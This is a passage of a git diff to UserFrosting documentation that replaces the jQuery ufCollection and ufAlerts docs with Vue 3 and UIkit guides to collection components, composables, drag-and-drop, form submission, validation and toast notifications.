-$phones = $request->getParsedBody()['phones'];
-error_log(print_r($phones, true));
-```
-
-**Output:**
-
-```
-Array
-(
-    [0] => Array
-        (
-            [id] => 17,
-            [label] => "primary",
-            [number] => "5555551212"
-        )
-
-    [1] => Array
-        (
-            [id] => ,
-            [label] => "mobile",
-            [number] => "1233219999"
-        )
-
-)
-```
-
-Notice that one of our phone numbers has a set `id` value (17), while the other number has an empty/unset `id`. This is how we tell the server that the first number is an existing entity that should be updated, while the second is a completely new entity that should be created and associated with the parent entity.
-
-UserFrosting implements a custom version of Laravel's [`hasMany` relationship](https://laravel.com/docs/8.x/eloquent-relationships#one-to-many), which allows you to synchronize the related entities for a parent entity:
-
-```php
-$member->phones()->sync($phones);
-```
-
-Entities in `$phones` that have an `id` that matches one of the related entities for the parent entity in the database will be updated. Entities with an empty `id`, or an `id` that does not match one of the parent's related entities, will be considered a new entry, and a record will be added to the database. Entities in the _database_ that do not match the _input_, on the other hand, will be considered "deleted" and removed from the database.
-
-| Entity in submitted data | Entity in database     | Operation |
-| ------------------------ | ---------------------- | --------- |
-| Yes                      | Yes (matching id)      | Updated   |
-| Yes                      | No                     | Created   |
-| No                       | Yes (matching parent)  | Deleted   |
-
-If you want to prevent entities from being deleted, even if they are not present in the input, you can set the second argument of `sync` to `false`.
-
-### Many-to-many
-
-Many-to-many collections require some additional markup in the skeleton - we need to add a `select` control for selecting preexisting items to add to the collection. For example, let's say we want to allow members to choose species of owls from a prepopulated list, and then give each selected owl a name:
-
-<div id="example-member-owls">
-    <div style="float: left;">
-        <label>My owls</label>
-        <table class="table table-striped">
-            <thead>
-                <tr>
-                    <th>Species</th>
-                    <th>Name</th>
-                    <th>Remove</th>
-                </tr>
-            </thead>
-            <tbody>
-            </tbody>
-        </table>
-        <div class="padding-bottom">
-            <label>Adopt an owl:</label>
-            <select class="form-control js-select-new" type="text" data-placeholder="Select an owl">
-                <option></option>
-            </select>
+        <!-- End Date -->
+        <div class="uk-width-1-4">
+          <label class="uk-form-label">End Date</label>
+          <input
+            v-model="role.end_date"
+            type="date"
+            class="uk-input"
+          />
         </div>
-    </div>
-    <div class="example-output">
-        <label>Data received by server:</label>
-        <pre>
-            <code>
-            </code>
-        </pre>
-    </div>
-    <div style="clear: both;"></div>
-</div>
-
-{% verbatim %}
-<script id="example-member-owls-row" type="text/x-handlebars-template">
-    <tr class="uf-collection-row">
-        <td>
-            {{species}}
-            <input type="hidden" name="owls[{{ rownum }}][species_id]" value="{{id}}">
-        </td>
-        <td>
-            <input type="text" name="owls[{{ rownum }}][name]" value="{{name}}">
-
-        </td>
-        <td>
-            <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-        </td>
-    </tr>
-</script>
 
-<script id="example-member-owls-select-option" type="text/x-handlebars-template">
-    <div>
-        <strong>
-            {{species}}
-        </strong>
-        <br>
-        {{description}}
+        <!-- Remove Button -->
+        <div class="uk-width-1-1">
+          <button
+            @click="removeRole(index)"
+            class="uk-button uk-button-danger uk-button-small"
+          >
+            Remove Role
+          </button>
+        </div>
+      </div>
     </div>
-</script>
-{% endverbatim %}
 
-```
-<div id="member-owls">
-    <label>My owls</label>
-    <table class="table table-striped">
-        <thead>
-            <tr>
-                <th>Species</th>
-                <th>Name</th>
-                <th>Remove</th>
-            </tr>
-        </thead>
-        <tbody>
-        </tbody>
-    </table>
-    <div class="padding-bottom">
-        <label>Adopt an owl:</label>
-        <select class="form-control js-select-new" type="text" data-placeholder="Select an owl">
-            <option></option>
-        </select>
-    </div>
-</div>
-```
+    <button @click="addRole" class="uk-button uk-button-primary uk-margin-top">
+      Add Role
+    </button>
+  </div>
+</template>
 
-The `select` control should have the class `js-select-new`, which tells `ufCollection` that we should add a new row to the collection **whenever a selection is made**. Internally `ufCollection` uses the [select2](http://select2.github.io/) library to create a beautiful, searchable dropdown menu.
+<script setup lang="ts">
+import { ref } from 'vue'
 
-To initialize the widget, we leave out the `useDropdown` argument (which defaults to true), and instead add the `dropdown` and `dropdownTemplate` options:
-
-```js
-$('#member-owls').ufCollection({
-    dropdown: {
-        ajax: {
-            url: site.uri.public + '/api/owls'
-        }
-    },
-    dropdownTemplate: $('#member-owls-select-option').html(),
-    rowTemplate: $('#member-owls-row').html()
-});
-```
-
-Our row template looks similar to that for one-to-many, except we name our hidden `id` input with the foreign key for the relationship. For example, we use `species_id` to refer to the `id` of the selected species for that row:
-
-```html
-{{ '{% verbatim %}' }}
-<script id="member-owls-row" type="text/x-handlebars-template">
-    <tr class="uf-collection-row">
-        <td>
-            {{species}}
-            <input type="hidden" name="owls[{{ rownum }}][species_id]" value="{{id}}">
-        </td>
-        <td>
-            <input type="text" name="owls[{{ rownum }}][name]" value="{{name}}">
-
-        </td>
-        <td>
-            <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-        </td>
-    </tr>
-</script>
-{{ '{% endverbatim %}' }}
-```
-
-The additional options we need to set for many-to-many are:
-
-#### `dropdownTemplate`
+interface Role {
+  id: number
+  role_id: number
+  start_date: string
+  end_date: string
+}
 
-The `dropdownTemplate` parameter should contain a valid Handlebars template that `ufCollection` can render using the data returned by the AJAX request.
+interface AvailableRole {
+  id: number
+  name: string
+}
 
-As with the row template, we can define our dropdown template in our page's main Twig template:
+const roles = ref<Role[]>([])
+const availableRoles = ref<AvailableRole[]>([
+  { id: 1, name: 'Admin' },
+  { id: 2, name: 'User' },
+  { id: 3, name: 'Moderator' }
+])
+
+let nextId = 1
+
+function addRole() {
+  roles.value.push({
+    id: nextId++,
+    role_id: 1,
+    start_date: new Date().toISOString().split('T')[0],
+    end_date: ''
+  })
+}
 
-```html
-{{ '{% verbatim %}' }}
-<script id="member-owls-select-option" type="text/x-handlebars-template">
-    <div>
-        <strong>
-            {{species}}
-        </strong>
-        <br>
-        {{description}}
-    </div>
+function removeRole(index: number) {
+  roles.value.splice(index, 1)
+}
 </script>
-{{ '{% endverbatim %}' }}
 ```
 
-As with the `rowTemplate` option, we can retrieve reference this template using a jQuery selector and the `.html()` method.
-
-#### `dropdown`
+## Reusable Collection Composable
 
-This parameter contains the [Select2 options](http://select2.github.io/options.html) that should be passed in when `ufCollection` initializes the control. Other than the `ajax` key, you probably won't need to customize most of the `dropdown` options.
+Create a composable for common collection logic:
 
-##### AJAX data source
+**composables/useCollection.ts**:
+```typescript
+import { ref, Ref } from 'vue'
 
-For large, dynamic collections of options, you will probably want to provide an AJAX data source with the `ajax` subkey.
-
-`ufCollection` will expect JSON data from an AJAX source, in the same format as that returned by the [Data Sprunjer](database/data-sprunjing). In particular, it should have a `rows` key that contains the collection of selectable options:
-
-```json
-{
-    "count": 2,
-    "count_filtered": 2,
-    "rows": [
-        {
-            "id": 11,
-            "species": "Bubo scandiacus",
-            "description": "Snowy owls are native to Arctic regions in North America and Eurasia. Males are almost all white, while females have more flecks of black plumage. Juvenile snowy owls have black feathers until they turn white. The snowy owl is a ground nester that predominantly hunts rodents."
-        },
-        {
-            "id": 8,
-            "species": "Megascops asio",
-            "description": "This species is native to most wooded environments of its distribution and, more so than any other owl in its range, has adapted well to manmade development, although it frequently avoids detection due to its strictly nocturnal habits."
-        }
-    ]
+interface CollectionItem {
+  id: number
+  [key: string]: any
 }
-```
 
-If you would like to use an alternative format for your source data, you can override the `dropdown.ajax.processResults` [callback option](#dropdown-1).
-
-#### Server-side processing
-
-With the example many-to-many row template, the rendered table might end up looking something like:
-
-```html
-<tr class="uf-collection-row">
-    <td>
-        Megascops asio
-        <input type="hidden" name="owls[1][species_id]" value="2">
-    </td>
-    <td>
-        <input type="text" name="owls[1][name]" value="Slasher">
-    </td>
-    <td>
-        <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-    </td>
-</tr>
-<tr class="uf-collection-row">
-    <td>
-        Megascops asio
-        <input type="hidden" name="owls[2][species_id]" value="5">
-    </td>
-    <td>
-        <input type="text" name="owls[2][name]" value="Fluffers">
-    </td>
-    <td>
-        <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-    </td>
-</tr>
-```
-
-The data submitted to the server will then end up looking like:
-
-```
-owls[1][species_id]: "2"
-owls[1][name]: "Slasher"
-owls[2][species_id]: "5"
-owls[2][name]: "Fluffers"
-```
+export function useCollection<T extends CollectionItem>(
+  initialItems: T[] = [],
+  itemFactory: () => Omit<T, 'id'>
+) {
+  const items: Ref<T[]> = ref([...initialItems])
+  let nextId = items.value.length > 0
+    ? Math.max(...items.value.map(i => i.id)) + 1
+    : 1
+
+  function add(): T {
+    const newItem = {
+      id: nextId++,
+      ...itemFactory()
+    } as T
+
+    items.value.push(newItem)
+    return newItem
+  }
+
+  function remove(id: number) {
+    const index = items.value.findIndex(item => item.id === id)
+    if (index > -1) {
+      items.value.splice(index, 1)
+    }
+  }
 
-Again, PHP will automatically convert this into a multidimensional array:
+  function removeAt(index: number) {
+    if (index >= 0 && index < items.value.length) {
+      items.value.splice(index, 1)
+    }
+  }
 
-```php
-$owls = $request->getParsedBody()['owls'];
-error_log(print_r($owls, true));
+  function update(id: number, updates: Partial<T>) {
+    const item = items.value.find(i => i.id === id)
+    if (item) {
+      Object.assign(item, updates)
+    }
+  }
+
+  function clear() {
+    items.value = []
+  }
+
+  function reset(newItems: T[]) {
+    items.value = [...newItems]
+    nextId = items.value.length > 0
+      ? Math.max(...items.value.map(i => i.id)) + 1
+      : 1
+  }
+
+  return {
+    items,
+    add,
+    remove,
+    removeAt,
+    update,
+    clear,
+    reset
+  }
+}
 ```
 
-**Output:**
+**Usage**:
+```vue
+<script setup lang="ts">
+import { useCollection } from '@/composables/useCollection'
 
-```
-Array
-(
-    [1] => Array
-        (
-            [species_id] => 2,
-            [name] => "Slasher"
-        )
-
-    [2] => Array
-        (
-            [species_id] => 5,
-            [name]: =>"Fluffers"
-        )
+interface PhoneNumber {
+  id: number
+  label: string
+  number: string
+}
 
+const { items: phones, add, remove } = useCollection<PhoneNumber>(
+  [{ id: 1, label: 'Mobile', number: '555-1234' }],
+  () => ({ label: '', number: '' })
 )
-```
-
-Laravel's `sync` method can synchronize our input data with the database for [many-to-many relationships](https://laravel.com/docs/8.x/eloquent-relationships#many-to-many):
-
-```php
-$owlsCollection = collect($owls)->pluck(['species_id', 'name'])->all();
-$member->owls()->sync($owlsCollection);
-```
-
-The `collect` function will convert the raw multidimensional array into a collection of objects. `pluck` will then make sure that we only grab the values we're interested in. This is useful as a validation tool, to reject any fields that we don't want to allow the client to modify).
-
-Finally, calling the [`sync` method](https://laravel.com/docs/8.x/eloquent-relationships#updating-many-to-many-relationships) on a member's `owls` relationship will update the entire relationship, so that the owls associated with the member match exactly the submitted data.
-
-## Methods, events, and options
 
-This section covers the methods, events, and options that you can use to programmatically control your `ufCollection` widget.
-
-### Methods
+function addPhone() {
+  add()
+}
 
-Methods are called via the standard jQuery practice of invoking the plugin name with the method name as the first argument:
+function removePhone(id: number) {
+  remove(id)
+}
+</script>
 
-```js
-$('#myCollection').ufCollection('methodName', methodOptions);
+<template>
+  <div>
+    <div v-for="phone in phones" :key="phone.id">
+      <input v-model="phone.label" placeholder="Label" />
+      <input v-model="phone.number" placeholder="Number" />
+      <button @click="removePhone(phone.id)">Remove</button>
+    </div>
+    <button @click="addPhone">Add Phone</button>
+  </div>
+</template>
 ```
 
-#### addRow
-
-_Adds a new row to an existing `ufCollection` widget, optionally prepopulated with some data._
+## Drag and Drop Reordering
 
-**Example usage:**
-
-```js
-// Get current phones from an AJAX source, and add to member phones
-var memberId = 12;
-$.getJSON(site.uri.public + '/api/members/m/' + memberId)
-.done(function (data) {
-    $.each(data.phones, function (idx, phone) {
-        phoneCollection.ufCollection('addRow', phone);
-    });
-});
-```
+Add drag-and-drop using [VueDraggable](https://github.com/SortableJS/vue.draggable.next):
 
-This pattern is especially useful when you want to provide an "update" feature for a collection. In the example above, we preload the collection with the member's current phone numbers (from an AJAX source), so that the user can add new phone numbers or remove current numbers. In this case, we expect the data source to have a `phones` key, which contains an array of phone number objects:
-
-```json
-{
-    // Maybe some other member information here
-
-    ...
-
-    "phones": [
-        {
-            "id": 17,
-            "label": "primary",
-            "number": "5555551212"
-        },
-        {
-            "id": 23,
-            "label": "mobile",
-            "number": "1233219999"
-        }
-    ]
-}
+```bash
+npm install vuedraggable@next
 ```
 
-Each phone number object is used to construct a row in the widget.
-
-#### getLastRow
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import draggable from 'vuedraggable'
 
-When adding items to a collection programmatically using `addRow` (for example, in an "update" interface), you may wish to perform additional operations on each row as it is added. To do this you may call the `getLastRow` method on your collection, and it will return the jQuery selector object for the row that was just added.
+const items = ref([
+  { id: 1, name: 'Item 1' },
+  { id: 2, name: 'Item 2' },
+  { id: 3, name: 'Item 3' }
+])
 
-For example, suppose you wish to instantiate a an input mask on each row in the above example:
+function logOrder() {
+  console.log('New order:', items.value)
+}
+</script>
 
-```js
-// Get current phones from an AJAX source, and add to member phones
-var memberId = 12;
-$.getJSON(site.uri.public + '/api/members/m/' + memberId)
-.done(function (data) {
-    $.each(data.phones, function (idx, phone) {
-        phoneCollection.ufCollection('addRow', phone);
-        // Set up an input mask on the 'js-input-phone' field in the row
-        phoneCollection.ufCollection('getLastRow').find('.js-input-phone').inputmask();
-    });
-});
+<template>
+  <draggable
+    v-model="items"
+    item-key="id"
+    @end="logOrder"
+  >
+    <template #item="{ element }">
+      <div class="draggable-item">
+        <span uk-icon="table"></span>
+        {{ element.name }}
+      </div>
+    </template>
+  </draggable>
+</template>
+
+<style scoped>
+.draggable-item {
+  padding: 10px;
+  margin: 5px 0;
+  background: #f8f8f8;
+  border: 1px solid #ddd;
+  cursor: move;
+}
+</style>
 ```
 
-#### addVirginRow
-
-_Adds a "virgin" row to an existing `ufCollection` widget, optionally prepopulated with some data._
-
-A virgin row is typically used in free-text mode, providing an intutitive way for users to create a new row in the collection without needing to explicitly click an "add" button. In free-text mode, when a virgin row is first touched by the user, it loses its "virgin" status and a new virgin row is added to the bottom of the collection. Thus, the last row in the collection will always be a virgin row.
-
-Generally speaking, since `ufCollection` handles all of this automatically for you, you won't need to call this method explicitly.
-
-#### deleteRow
+## Server Integration
 
-_Delete a row_.
+Submit collections with forms:
 
-This method takes a jQuery selector containing the target row, and calls jQuery's `remove` method. Note that this method is automatically bound to a row's `js-delete-row` button when the row is added.
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import axios from 'axios'
+import { useCollection } from '@/composables/useCollection'
 
-#### touchRow
-
-_Remove a row's "virgin" status, shows the delete button (hidden for virgin rows), and add a new virgin row to the collection (if `useDropdown` is set to false)._
-
-`ufCollection` automatically binds this method to the `focus` event for all controls in a virgin row. However, we have exposed this method in case you wish to manually invoke it or bind it to other events.
-
-### Events
-
-#### rowAdd.ufCollection
-
-_Triggered when a new row is added to the collection._
+interface Email {
+  id: number
+  address: string
+  is_primary: boolean
+}
 
-This event returns the newly added row, so you can access it in your handler:
+const { items: emails, add, remove } = useCollection<Email>(
+  [],
+  () => ({ address: '', is_primary: false })
+)
 
-```js
-$('#myCollection').on('rowAdd.ufCollection', function (event, row) {
-    var phoneInput = $(row).find(".js-input-phone");
-    // Apply the inputmask plugin to the phone control in the new row
-    phoneInput.inputmask();
-});
+async function saveEmails() {
+  try {
+    await axios.post('/api/user/emails', {
+      emails: emails.value.map(e => ({
+        address: e.address,
+        is_primary: e.is_primary
+      }))
+    }, {
+      headers: {
+        [site.csrf.keys.name]: site.csrf.name,
+        [site.csrf.keys.value]: site.csrf.value
+      }
+    })
+
+    alert('Emails saved!')
+  } catch (error) {
+    console.error('Failed to save:', error)
+  }
+}
+</script>
 ```
 
-#### rowDelete.ufCollection
-
-_Triggered when a row is removed from the collection._
-
-#### rowTouch.ufCollection
-
-_Triggered when any controls in a row are brought into focus._
-
-This event returns the touched row, so you can access it in your handler.
+## Validation
 
-### Options
+Validate collection items:
 
-#### useDropdown
+```vue
+<script setup lang="ts">
+import { ref, computed } from 'vue'
 
-_Set to `true` for a collection where rows are added from a dropdown (default), or `false` for free-text input mode._
+const items = ref([
+  { id: 1, email: '' }
+])
 
-#### dropdown
+const errors = ref<Record<number, string>>({})
 
-_An object containing options to pass to the `select2` initialization._ Unfortunately, these options are only [partially documented](http://select2.github.io/options.html) in `select2`'s documentation website. For the purposes of `ufCollection`, the salient options are:
+const isValid = computed(() => {
+  errors.value = {}
 
-- `ajax`: option for the AJAX request that fetches data to be loaded into the select options. The most important option is `url` but other useful options include:
-    - `url`: The url to submit the AJAX GET request.
-    - `cache`: Defaults to `true`, to cache AJAX results on the client side.
-    - `dataType`: The type of data returned by the AJAX request. Defaults to `json`.
-    - `delay`: Delay, in milliseconds, before resending the AJAX request when refreshing the select2 options during search. Defaults to `250`.
-    - `data`: The callback that `select2` uses to parse the current search query (`params.term`) before submitting the AJAX request. Defaults to:
-
-    ```js
-    function (params) {
-        return {
-            filters: {
-                info : params.term
-            }
-        };
-    }
-    ```
-
-    With the default callback, the resulting AJAX query URL will look something like `http://example.com/api/member/12/phones?filters[info]=something`, which is the standard format expected by data Sprunjers.
-
-    - `processResults`: The callback used to parse the data received in the response from the AJAX request.  Defaults to:
-
-    ```js
-    function (data, params) {
-        var suggestions = [];
-        // Process the data into dropdown options
-        if (data && data.rows) {
-            jQuery.each(data.rows, function(idx, row) {
-                suggestions.push(row);
-            });
-        }
-        return {
-            results: suggestions
-        };
+  items.value.forEach(item => {
+    if (!item.email) {
+      errors.value[item.id] = 'Email is required'
+    } else if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(item.email)) {
+      errors.value[item.id] = 'Invalid email format'
     }
-    ```
+  })
 
-    Notice that this callback must always return a JSON object with a `results` key.
+  return Object.keys(errors.value).length === 0
+})
+</script>
 
-- `placeholder`: The placeholder to display in the dropdown before a selection is made. Note that you need to have an empty `<option>` element in your `select` control for this to work. You may alternatively use the `data-placeholder` attribute on the `select` control itself. Defaults to "Item".
-- `selectOnClose`: Make a selection when the dropdown is closed for any reason (for example, even if the user clicks out of the box). Useful if your users are dumb and don't understand how select controls work. Defaults to `false`.
-- `theme`: A select2 [theme](http://select2.github.io/examples.html#themes-templating-responsive-design) to apply to the dropdown. Defaults to "default".
-- `width`: The width of the dropdown control relative to the parent element. Defaults to "100%".
+<template>
+  <div v-for="item in items" :key="item.id">
+    <input v-model="item.email" />
+    <span v-if="errors[item.id]" class="uk-text-danger">
+      {{ errors[item.id] }}
+    </span>
+  </div>
+</template>
+```
 
-#### dropdownControl
+## Best Practices
 
-_A jQuery selector that indicates which element should be used as the dropdown for adding new items to the collection._
+### 1. Use Unique Keys
 
-Defaults to elements with the class `.js-select-new`.
+Always provide unique `:key` for v-for:
 
-#### dropdownTemplate
+```vue
+<div v-for="item in items" :key="item.id">
+  <!-- content -->
+</div>
+```
 
-See the description [above](#dropdowntemplate).
+### 2. Validate Empty Collections
 
-#### rowContainer
+Check if collection has items:
 
-_A jQuery selector that indicates the container element to which new rows should be added._
+```vue
+<div v-if="items.length === 0" class="uk-alert-warning" uk-alert>
+  No items added yet. Click "Add Item" to get started.
+</div>
+```
 
-Defaults to the first `tbody` element found in the widget container.
+### 3. Confirm Before Removing
 
-#### rowTemplate
+Prevent accidental deletions:
 
-See the description [above](#rowtemplate).
+```typescript
+function removeItem(id: number) {
+  if (confirm('Are you sure you want to remove this item?')) {
+    remove(id)
+  }
+}
+```
 
-#### transformDropdownSelection
+### 4. Limit Collection Size
 
-_A callback that transforms data from a selected dropdown item before it is passed to the Handlebars row template._
+Prevent performance issues:
 
-This is useful when the format of the data API that feeds your dropdown control does not match the format required by your collection row template. Simply assign to this option a callback that takes the selected item object, clones it, and returns a transformed object:
+```typescript
+const MAX_ITEMS = 10
 
-```js
-transformDropdownSelection: function (item) {
-    var transformed = $.extend(true, {}, item);
-    transformed['project_id'] = item.id;
-    transformed['id'] = null;
-    return transformed;
+function addItem() {
+  if (items.value.length >= MAX_ITEMS) {
+    alert(`Maximum ${MAX_ITEMS} items allowed`)
+    return
+  }
+  add()
 }
 ```
 
-> [!WARNING]
-> Notice that we use `$.extend(true, {}, item)` to [clone the object](https://stackoverflow.com/a/122704/2970321). If you instead were to manipulate the `item` object directly, it will change the actual object as it exists in the dropdown control, and likely break the dropdown in the process.
+## What's Next?
 
-#### DEBUG
+- **[Forms](client-side-code/components/forms)**: Submit collections as part of forms
+- **[Tables](client-side-code/components/tables)**: Display collections in tables
+- **[Alerts](client-side-code/components/alerts)**: Show feedback when modifying collections
 
-_Dump debugging information to the browser console._
+## Further Reading
 
-Defaults to `false`.
-
-> [!NOTE]
-> Your sprunje should return the id column as `id` in lowercase and not in uppercase for the uf-collection to function. If you have a column named `ID` in your database, you can use an alias while querying your sprunje collection.
-> You can write,
-> ```php
-> return $instance->newQuery()->select("Id AS id");
-> }
-> ```
-> in your sprunje file, or use any other method to alias the Id column. Keeping in your mind that your sprunje's baseQuery function should return an instance of a "queriable" class. See more [`Defining a Sprunje` Data Sprunjing](database/data-sprunjing#defining-a-sprunje)
+- [Vue 3 List Rendering](https://vuejs.org/guide/essentials/list.html)
+- [VueDraggable](https://github.com/SortableJS/vue.draggable.next)
+- [Vue Transitions](https://vuejs.org/guide/built-ins/transition.html)
diff --git a/app/pages/6.0/15.client-side-code/04.components/04.alerts/docs.md b/app/pages/6.0/15.client-side-code/04.components/04.alerts/docs.md
index 2338ca0a..9cf5b41d 100644
--- a/app/pages/6.0/15.client-side-code/04.components/04.alerts/docs.md
+++ b/app/pages/6.0/15.client-side-code/04.components/04.alerts/docs.md
@@ -1,106 +1,625 @@
 ---
-title: Alerts
-description: The `ufAlerts` plugin handles retrieving and rendering alerts and notifications from the alert stream.
-obsolete: true
+title: Alerts and Notifications
+description: Display user feedback with Vue 3 alert components and UIkit notifications
+wip: true
 ---
 
-For page loads, as well as requests made by most of UserFrosting's [client-side components](client-side-code/components), alerts are automatically fetched from the [alert stream](routes-and-controllers/alert-stream) and rendered for you. However, sometimes you will make your own custom AJAX requests that need to manually fetch and render alerts after the request is complete. To do this, you may create your own instance of the `ufAlerts` plugin.
+Providing feedback to users is essential for a good user experience. UserFrosting 6.0 uses Vue 3 components and UIkit notifications to display alerts, messages, and toasts throughout the application.
 
-## Initialization
+This guide covers different types of user feedback and how to implement them effectively.
 
-To initialize the `ufAlerts` plugin, simply call `.ufAlerts()` on the target element where alerts will be displayed. For example, you can do this in the `.fail()` callback for an AJAX request in jQuery:
+## UIkit Notifications
 
-```js
-$.ajax({
-    type: 'POST',
-    url: site.uri.public + '/api/owls',
-    data: {
-        species: 'Bubo'
+UIkit provides a built-in notification system for temporary messages:
+
+### Basic Usage
+
+```typescript
+import UIkit from 'uikit'
+
+// Simple notification
+UIkit.notification('User created successfully!')
+
+// With options
+UIkit.notification('Settings saved!', {
+  status: 'success',
+  pos: 'top-right',
+  timeout: 3000
+})
+
+// Different statuses
+UIkit.notification('Warning: This action cannot be undone', 'warning')
+UIkit.notification('Error: Failed to save', 'danger')
+UIkit.notification('Info: New features available', 'primary')
+```
+
+### Notification Options
+
+```typescript
+UIkit.notification(message, {
+  status: 'primary' | 'success' | 'warning' | 'danger',  // Style
+  pos: 'top-right' | 'top-center' | 'top-left' |         // Position
+       'bottom-right' | 'bottom-center' | 'bottom-left',
+  timeout: 5000,        // Auto-close after ms (0 = no auto-close)
+  group: null,          // Group name to stack related notifications
+  closeButton: true     // Show close button
+})
+```
+
+## Vue Alert Component
+
+Create a reusable alert component for persistent messages:
+
+**AlertBox.vue**:
+```vue
+<template>
+  <div
+    v-if="visible"
+    class="uk-alert"
+    :class="alertClass"
+    uk-alert
+  >
+    <a class="uk-alert-close" uk-close @click="close"></a>
+    <h3 v-if="title">{{ title }}</h3>
+    <p>{{ message }}</p>
+  </div>
+</template>
+
+<script setup lang="ts">
+import { ref, computed } from 'vue'
+
+interface Props {
+  type?: 'primary' | 'success' | 'warning' | 'danger'
+  title?: string
+  message: string
+  closeable?: boolean
+}
+
+const props = withDefaults(defineProps<Props>(), {
+  type: 'primary',
+  closeable: true
+})
+
+const emit = defineEmits<{
+  close: []
+}>()
+
+const visible = ref(true)
+
+const alertClass = computed(() => `uk-alert-${props.type}`)
+
+function close() {
+  visible.value = false
+  emit('close')
+}
+</script>
+```
+
+**Usage**:
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import AlertBox from './components/AlertBox.vue'
+
+const showAlert = ref(true)
+</script>
+
+<template>
+  <AlertBox
+    v-if="showAlert"
+    type="success"
+    title="Success!"
+    message="Your profile has been updated."
+    @close="showAlert = false"
+  />
+</template>
+```
+
+## Alert Stream Integration
+
+UserFrosting's alert stream system sends messages from the server. Here's how to fetch and display them:
+
+### Fetching Alerts
+
+```typescript
+import axios from 'axios'
+import UIkit from 'uikit'
+
+interface Alert {
+  type: 'success' | 'danger' | 'warning' | 'info'
+  message: string
+}
+
+async function fetchAndDisplayAlerts() {
+  try {
+    const response = await axios.get<Alert[]>(
+      `${site.uri.public}/alerts`
+    )
+
+    response.data.forEach(alert => {
+      UIkit.notification(alert.message, {
+        status: alert.type === 'danger' ? 'danger' : alert.type,
+        timeout: 5000
+      })
+    })
+  } catch (error) {
+    console.error('Failed to fetch alerts:', error)
+  }
+}
+```
+
+### Alert Composable
+
+Create a composable for managing alerts:
+
+**composables/useAlerts.ts**:
+```typescript
+import { ref, Ref } from 'vue'
+import axios from 'axios'
+import UIkit from 'uikit'
+
+interface Alert {
+  id: string
+  type: 'success' | 'danger' | 'warning' | 'info'
+  message: string
+  title?: string
+}
+
+export function useAlerts() {
+  const alerts: Ref<Alert[]> = ref([])
+  const loading = ref(false)
+
+  async function fetchAlerts() {
+    loading.value = true
+
+    try {
+      const response = await axios.get(`${site.uri.public}/alerts`)
+      alerts.value = response.data
+
+      // Display as UIkit notifications
+      response.data.forEach((alert: Alert) => {
+        showNotification(alert.message, alert.type)
+      })
+    } catch (error) {
+      console.error('Failed to fetch alerts:', error)
+    } finally {
+      loading.value = false
     }
-}).fail(function (jqXHR) {
-    // Display errors on failure
-    var debugAjax = (typeof site !== "undefined") && site.debug.ajax;
-
-    if (debugAjax && jqXHR.responseText) {
-        document.write(jqXHR.responseText);
-        document.close();
-    } else {
-        // Destroy any previous instance
-        $("#alerts-page").ufAlerts('destroy');
-        // Create new instance of ufAlerts
-        $("#alerts-page").ufAlerts().ufAlerts('fetch').ufAlerts('render');
+  }
+
+  function showNotification(
+    message: string,
+    type: 'success' | 'danger' | 'warning' | 'info' = 'info'
+  ) {
+    UIkit.notification(message, {
+      status: type === 'danger' ? 'danger' : type,
+      pos: 'top-right',
+      timeout: 5000
+    })
+  }
+
+  function showSuccess(message: string) {
+    showNotification(message, 'success')
+  }
+
+  function showError(message: string) {
+    showNotification(message, 'danger')
+  }
+
+  function showWarning(message: string) {
+    showNotification(message, 'warning')
+  }
+
+  function showInfo(message: string) {
+    showNotification(message, 'info')
+  }
+
+  function add(alert: Omit<Alert, 'id'>) {
+    const newAlert: Alert = {
+      ...alert,
+      id: Date.now().toString() + Math.random()
     }
-});
+    alerts.value.push(newAlert)
+    showNotification(alert.message, alert.type)
+  }
+
+  function remove(id: string) {
+    alerts.value = alerts.value.filter(alert => alert.id !== id)
+  }
+
+  function clear() {
+    alerts.value = []
+  }
+
+  return {
+    alerts,
+    loading,
+    fetchAlerts,
+    showNotification,
+    showSuccess,
+    showError,
+    showWarning,
+    showInfo,
+    add,
+    remove,
+    clear
+  }
+}
 ```
 
-The `fetch` method will retrieve any alerts that were added to the message stream, via the `/alerts` route. The `render` method will then display them in the element that you initialized `ufAlerts` on.
+**Usage in component**:
+```vue
+<script setup lang="ts">
+import { onMounted } from 'vue'
+import { useAlerts } from '@/composables/useAlerts'
+import axios from 'axios'
+
+const { showSuccess, showError, fetchAlerts } = useAlerts()
+
+onMounted(() => {
+  // Fetch alerts on component mount
+  fetchAlerts()
+})
+
+async function saveSettings() {
+  try {
+    await axios.post('/api/settings', { /* data */ })
+    showSuccess('Settings saved successfully!')
+  } catch (error) {
+    showError('Failed to save settings')
+  }
+}
+</script>
+```
 
-## Methods
+## Toast Notifications Component
+
+For more advanced toast notifications, create a dedicated component:
+
+**ToastManager.vue**:
+```vue
+<template>
+  <teleport to="body">
+    <div class="toast-container">
+      <transition-group name="toast">
+        <div
+          v-for="toast in toasts"
+          :key="toast.id"
+          class="toast uk-alert"
+          :class="`uk-alert-${toast.type}`"
+        >
+          <a class="uk-alert-close" uk-close @click="removeToast(toast.id)"></a>
+          <p>{{ toast.message }}</p>
+        </div>
+      </transition-group>
+    </div>
+  </teleport>
+</template>
+
+<script setup lang="ts">
+import { ref } from 'vue'
+
+interface Toast {
+  id: string
+  type: 'success' | 'danger' | 'warning' | 'info'
+  message: string
+  duration: number
+}
+
+const toasts = ref<Toast[]>([])
+
+function addToast(
+  message: string,
+  type: Toast['type'] = 'info',
+  duration = 5000
+) {
+  const id = Date.now().toString() + Math.random()
+
+  toasts.value.push({ id, message, type, duration })
+
+  if (duration > 0) {
+    setTimeout(() => removeToast(id), duration)
+  }
+
+  return id
+}
+
+function removeToast(id: string) {
+  toasts.value = toasts.value.filter(toast => toast.id !== id)
+}
+
+defineExpose({
+  addToast,
+  removeToast
+})
+</script>
+
+<style scoped>
+.toast-container {
+  position: fixed;
+  top: 20px;
+  right: 20px;
+  z-index: 9999;
+  max-width: 400px;
+}
+
+.toast {
+  margin-bottom: 10px;
+  box-shadow: 0 5px 15px rgba(0,0,0,0.1);
+}
+
+.toast-enter-active,
+.toast-leave-active {
+  transition: all 0.3s ease;
+}
+
